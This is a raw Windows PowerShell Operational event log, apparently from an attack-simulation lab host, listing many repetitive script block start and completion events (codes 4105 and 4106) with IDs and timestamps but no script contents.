Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043393
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043391
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043390
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043373
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043367
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
